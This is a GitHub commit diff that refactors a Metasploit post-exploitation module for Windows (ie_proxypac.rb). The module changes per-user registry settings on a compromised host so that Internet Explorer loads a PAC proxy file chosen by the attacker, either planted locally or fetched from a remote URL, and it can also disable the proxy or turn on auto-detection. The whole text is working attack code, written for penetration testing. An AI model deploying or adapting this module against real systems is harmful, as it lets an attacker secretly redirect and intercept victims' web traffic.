Skip to content

Commit e9edce1

Browse files
BorjaMerinoBorjaMerino
committed
Applying changes
1 parent 5e5fd6b commit e9edce1

File tree

1 file changed

+113
-112
lines changed

1 file changed

+113
-112
lines changed

‎modules/post/windows/manage/ie_proxypac.rb

Lines changed: 113 additions & 112 deletions
Original file line numberDiff line numberDiff line change
@@ -5,128 +5,129 @@
55

66
class Metasploit3 < Msf::Post
77

8-
include Msf::Post::Windows::Priv
9-
include Msf::Post::Common
10-
include Msf::Post::File
11-
include Msf::Post::Windows::Registry
8+
include Msf::Post::Windows::Priv
9+
include Msf::Post::File
10+
include Msf::Post::Windows::Registry
1211

13-
def initialize(info={})
14-
super( update_info( info,
15-
'Name' => 'Windows Manage Proxy PAC File',
16-
'Description' => %q{
17-
This module configures Internet Explorer to use a PAC proxy file. By using the LOCAL_PAC
18-
option a PAC file will be created in the victim host. It's also possible to especify a
19-
remote PAC file (REMOTE_PAC option) by providing the full URL. Ej: http://192.168.1.20/proxy.pac
20-
},
21-
'License' => MSF_LICENSE,
22-
'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
23-
'References' =>
24-
[
25-
[ 'URL', 'https://www.youtube.com/watch?v=YGjIlbBVDqE&hd=1' ],
26-
[ 'URL', 'http://blog.scriptmonkey.eu/bypassing-group-policy-using-the-windows-registry' ]
27-
],
28-
'Platform' => [ 'windows' ],
29-
'SessionTypes' => [ 'meterpreter' ]
30-
))
12+
def initialize(info={})
13+
super( update_info( info,
14+
'Name' => 'Windows Manage Proxy PAC File',
15+
'Description' => %q{
16+
This module configures Internet Explorer to use a PAC proxy file. By using the LOCAL_PAC
17+
option a PAC file will be created in the victim host. It's also possible to especify a
18+
remote PAC file (REMOTE_PAC option) by providing the full URL. Ej: http://192.168.1.20/proxy.pac
19+
},
20+
'License' => MSF_LICENSE,
21+
'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
22+
'References' =>
23+
[
24+
[ 'URL', 'https://www.youtube.com/watch?v=YGjIlbBVDqE&hd=1' ],
25+
[ 'URL', 'http://blog.scriptmonkey.eu/bypassing-group-policy-using-the-windows-registry' ]
26+
],
27+
'Platform' => [ 'windows' ],
28+
'SessionTypes' => [ 'meterpreter' ]
29+
))
3130

32-
register_options(
33-
[
34-
OptPath.new('LOCAL_PAC', [false, 'Local PAC file.' ]),
35-
OptString.new('REMOTE_PAC', [false, 'Remote PAC file.' ]),
36-
OptBool.new('DISABLE_PROXY',[false, 'Disable the proxy server.', false]),
37-
OptBool.new('AUTO_DETECT', [false, 'Automatically detect settings.', false])
38-
], self.class)
39-
end
31+
register_options(
32+
[
33+
OptPath.new('LOCAL_PAC', [false, 'Local PAC file.' ]),
34+
OptString.new('REMOTE_PAC', [false, 'Remote PAC file.' ]),
35+
OptBool.new('DISABLE_PROXY',[false, 'Disable the proxy server.', false]),
36+
OptBool.new('AUTO_DETECT', [false, 'Automatically detect settings.', false])
37+
], self.class)
38+
end
4039

41-
def run
42-
if datastore['LOCAL_PAC'].nil? and datastore['REMOTE_PAC'].nil?
43-
print_error("You must set a remote or local PAC file.")
44-
return
45-
end
40+
def run
41+
if datastore['LOCAL_PAC'].blank? and datastore['REMOTE_PAC'].blank?
42+
print_error("You must set a remote or local PAC file.")
43+
return
44+
end
4645

47-
if datastore['REMOTE_PAC']
48-
@remote = true
49-
print_status("Setting a remote PAC file ...")
50-
enable_proxypac(datastore['REMOTE_PAC'])
51-
else
52-
print_status("Setting a local PAC file ...")
53-
pac_file = create_pac(datastore['LOCAL_PAC'])
54-
enable_proxypac(pac_file) if pac_file
55-
end
46+
if datastore['REMOTE_PAC']
47+
@remote = true
48+
print_status("Setting a remote PAC file ...")
49+
enable_proxypac(datastore['REMOTE_PAC'])
50+
else
51+
print_status("Setting a local PAC file ...")
52+
pac_file = create_pac(datastore['LOCAL_PAC'])
53+
enable_proxypac(pac_file) if pac_file
54+
end
5655

57-
auto_detect_on if datastore['AUTO_DETECT']
58-
disable_proxy if datastore['DISABLE_PROXY']
59-
end
56+
auto_detect_on if datastore['AUTO_DETECT']
57+
disable_proxy if datastore['DISABLE_PROXY']
58+
end
6059

61-
def create_pac(local_pac)
62-
pac_file = expand_path("%APPDATA%") << "\\" << Rex::Text.rand_text_alpha((rand(8)+6)) << ".pac"
63-
conf_pac = ""
60+
def create_pac(local_pac)
61+
pac_file = expand_path("%APPDATA%") << "\\" << Rex::Text.rand_text_alpha((rand(8)+6)) << ".pac"
62+
conf_pac = ""
6463

65-
if ::File.exists?(local_pac)
66-
conf_pac << ::File.open(local_pac, "rb").read
67-
else
68-
print_error("Local PAC file not found.")
69-
return false
70-
end
64+
if ::File.exists?(local_pac)
65+
conf_pac << ::File.open(local_pac, "rb").read
66+
else
67+
print_error("Local PAC file not found.")
68+
return false
69+
end
7170

72-
if write_file(pac_file,conf_pac)
73-
print_good ("PAC proxy configuration file written to #{pac_file}")
74-
return pac_file
75-
else
76-
print_error("There were problems creating the PAC proxy file.")
77-
return false
78-
end
79-
end
71+
if write_file(pac_file,conf_pac)
72+
print_good ("PAC proxy configuration file written to #{pac_file}")
73+
return pac_file
74+
else
75+
print_error("There were problems creating the PAC proxy file.")
76+
return false
77+
end
78+
end
8079

81-
def enable_proxypac(pac)
82-
registry_enumkeys('HKU').each do |k|
83-
next unless k.include? "S-1-5-21"
84-
next if k.include? "_Classes"
85-
key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings"
86-
value_auto = "AutoConfigURL"
87-
file = (@remote) ? "#{pac}" : "file://#{pac}"
88-
begin
89-
registry_setvaldata(key,value_auto,file,"REG_SZ")
90-
rescue::Exception => e
91-
end
92-
print_good ("Proxy PAC enabled.") if change_defConSettings(16,'05',key + '\\Connections')
93-
end
94-
end
80+
def enable_proxypac(pac)
81+
registry_enumkeys('HKU').each do |k|
82+
next unless k.include? "S-1-5-21"
83+
next if k.include? "_Classes"
84+
key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings"
85+
value_auto = "AutoConfigURL"
86+
file = (@remote) ? "#{pac}" : "file://#{pac}"
87+
begin
88+
registry_setvaldata(key,value_auto,file,"REG_SZ")
89+
rescue
90+
next
91+
end
92+
print_good ("Proxy PAC enabled.") if change_connection(16,'05',key + '\\Connections')
93+
end
94+
end
9595

96-
def auto_detect_on()
97-
registry_enumkeys('HKU').each do |k|
98-
next unless k.include? "S-1-5-21"
99-
next if k.include? "_Classes"
100-
key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings\\Connections"
101-
print_good ("Automatically detect settings on.") if change_defConSettings(16,'0D',key)
102-
end
103-
end
96+
def auto_detect_on()
97+
registry_enumkeys('HKU').each do |k|
98+
next unless k.include? "S-1-5-21"
99+
next if k.include? "_Classes"
100+
key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings\\Connections"
101+
print_good ("Automatically Detect Settings on.") if change_connection(16,'0D',key)
102+
end
103+
end
104104

105-
def disable_proxy()
106-
value_enable = "ProxyEnable"
107-
profile = false
108-
registry_enumkeys('HKU').each do |k|
109-
next unless k.include? "S-1-5-21"
110-
next if k.include? "_Classes"
111-
key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings"
112-
begin
113-
registry_setvaldata(key,value_enable,0,"REG_DWORD")
114-
profile = true
115-
rescue::Exception => e
116-
end
117-
end
118-
print_good ("Proxy disable.") if profile
119-
end
105+
def disable_proxy()
106+
value_enable = "ProxyEnable"
107+
profile = false
108+
registry_enumkeys('HKU').each do |k|
109+
next unless k.include? "S-1-5-21"
110+
next if k.include? "_Classes"
111+
key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings"
112+
begin
113+
registry_setvaldata(key,value_enable,0,"REG_DWORD")
114+
profile = true
115+
rescue
116+
next
117+
end
118+
end
119+
print_good ("Proxy disable.") if profile
120+
end
120121

121-
def change_defConSettings(offset,value,key)
122-
value_defCon = "DefaultConnectionSettings"
123-
begin
124-
value_con = registry_getvaldata(key,value_defCon)
125-
binary_data = value_con.unpack('H*')[0]
126-
binary_data[offset,2] = value
127-
registry_setvaldata(key,value_defCon,["%x" % binary_data.to_i(16)].pack("H*"),"REG_BINARY")
128-
rescue::Exception => e
129-
return false
130-
end
131-
end
122+
def change_connection(offset,value,key)
123+
value_default = "DefaultConnectionSettings"
124+
begin
125+
value_con = registry_getvaldata(key,value_default)
126+
binary_data = value_con.unpack('H*')[0]
127+
binary_data[offset,2] = value
128+
registry_setvaldata(key,value_default,["%x" % binary_data.to_i(16)].pack("H*"),"REG_BINARY")
129+
rescue
130+
return false
131+
end
132+
end
132133
end

0 commit comments

Comments
 (0)